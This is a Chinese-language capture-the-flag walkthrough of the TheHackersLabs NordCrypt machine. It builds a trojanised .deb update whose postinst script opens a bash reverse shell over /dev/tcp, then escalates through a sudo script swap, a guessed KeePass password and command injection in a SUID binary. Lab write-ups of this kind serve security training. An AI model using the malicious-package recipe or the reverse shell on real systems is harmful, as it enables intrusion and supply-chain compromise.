TheHackersLabs NordCrypt writeup
信息收集
nmap

立足点
发现开启了80,8080,443后就依次去看一下,发现80和443上面都是同一个站点:

8080上是一个通过gitea搭建的代码管理网站

里面发现了两个用户名,和一个程序:


在它的主页面那里也有该站点的swagger api文档


但这个文档在我打的过程中没发现有什么,在之前80上的站点里,从里面的描述可以知道它们的产品 nordcrypt agent 是一个提供终端加密服务的软件,下面也有它的技术详细和操作手册

从最后一个nordcrypt-client选项卡的跳转地址

以及在8080上的站点查看源码后

从上面两个地方以及gitea上显示的那个软件的名字可以判断出来,后续我们应该是需要用到那个nordcrypt-client的,以及这里的api文档中的内容一定是和nordcrypt-client有关的,仔细看一下提供的那个api文档。总结下来:
- nordcrypt-client 操作的目标 api 的 url 是
https://nordcrypt-updates.ia2.thl/api/v1/即位于443端口上 - Maintainer 角色可以进行读取和上传操作
- 对于上传文件,服务器会校验文件头幻数,如果文件时deb文件,且其中版本号大于当前版本号,则服务器会自动下载并安装该deb文件,服务器会没3分钟检查一次是否有更新的deb文件。
综上,我们可以构造一个恶意的deb文件,将反弹shell的命令写在安装时自动执行的脚本中,以此来获得shell。但通过api文档中的命令示例里也可以看到上传需要验证token,所以需要先得到这个token,从之前可以判断出gitea上的nordcrypt-client工具大概率就是用来访问这个api的,所以这里的思路就是先去其中的代码里找一下有没有泄露这个token,如果没有则找一下历史的提交记录,其中也可能泄露相应的敏感信息。


在“删除敏感配置项”的修改中找到了相应的api token,然后从 readme 中也可以看到具体的使用方法,所以这里就跟着上面操作即可

这里可以不用些域名,用域名的话配置一下/etc/hosts文件即可

可以看到我们当前的角色是 maintainer 版本是 2.4.1 所以构造的恶意deb包的版本需要高于此版本,可以通过以下方式构造一个恶意的deb包:
# 创建包目录结构
mkdir -p evil-deb/DEBIAN
# 写入 control 文件
cat > evil-deb/DEBIAN/control <<EOF
Package: nordcrypt-agent
Version: 2.6.0
Architecture: all
Maintainer: attacker <attacker@evil.com>
Description: harmless update
EOF
# 写入 postinst 文件(反弹 Shell)(该文件是deb包安装时会自动执行的维护脚本)
cat > evil-deb/DEBIAN/postinst <<EOF
#!/bin/bash
bash -i >& /dev/tcp/你的IP/你的端口 0>&1 &
EOF
chmod 755 evil-deb/DEBIAN/postinst
# 打包
dpkg-deb --build evil-deb
# 生成 evil-deb.deb
然后将构造好的 deb 通过 api 文档中的命令上传,然后 kali 开启监听等待3分钟

这里加个 -k 表示跳过 ssl 握手

这样就拿到初始的shell了
userFlag
拿到 shell 后先看一下系统里有哪些用户

可以看到能够登录的除了root外有4个用户,去home目录下看一下

发现/etc/passwd中nordcrypt的家目录是/opt/nordcrypt,但在/home也有该用户的目录,通过其中的bash_history可以知道它能以lenam用户的身份执行自己家目录中的 tail-journal.sh 脚本,通过sudo -l 也能看到这一点


这里虽然 tools 目录是root权限的,但是它在我们自己的家目录下,这意味着我们可以将它在自己的家目录下移动并重命名,所以可以通过以下方式提权到lenam:
nordcrypt@TheHackersLabs-NordCrypt:~$ mv tools tools.bak
nordcrypt@TheHackersLabs-NordCrypt:~$ mkdir tools && echo '/bin/bash' > tools/tail-journal.sh
nordcrypt@TheHackersLabs-NordCrypt:~$ chmod 755 tools/tail-journal.sh
nordcrypt@TheHackersLabs-NordCrypt:~$ sudo -u lenam /opt/nordcrypt/tools/tail-journal.sh

然后在家目录下可以获得userflag
userFlag:1e28a25c93f81ab9d8f4a7da41911b1f(MD5)
rootFlag
在lenam的家目录下看到了一个notes.txt文件,看一下其中的内容

翻译过来大概总结出几点可能有用的:
- keepass数据位于 ~/Documents/vault.kdbx 密码是季节+年份+感叹号,根据笔记末尾,密码可能就是 Winter2025!
- a.dubois 用户的密码位于keepass数据库中
- 服务器中存在一个 VPN 实验室只能本地访问
我们先 ss -lnpt 看一下监听的端口

发现了一个5000端口只能从本地访问,后续我通过ssh将其转发出来后看了,没发现有用的东西,端口转发可以通过以下方式实现:
# 转发到kali中
ssh -R 5000:127.0.0.1:5000 your_user@你的攻击机IP
# 转发到本地其它端口上(需要知道目标用户的密码)
ssh -L 0.0.0.0:8888:127.0.0.1:5000 用户名@127.0.0.1
把那个keepass文件拉到kali中尝试通过Winter2025!读取其中内容

成功拿到 a.dubois 的密码,我们 su 过去

上去后发现有一个具备suid的由root创建的文件,拉到windows中通过ida看一下

这里可以看到它的参数是直接拼接的,那这里就存在命令注入了,所以也就可以通过此提权到root

然后在家目录下拿到rootflag
rootFlag:d9969887006618b872206fc5623badc7(MD5)

^_^
浙公网安备 33010602011771号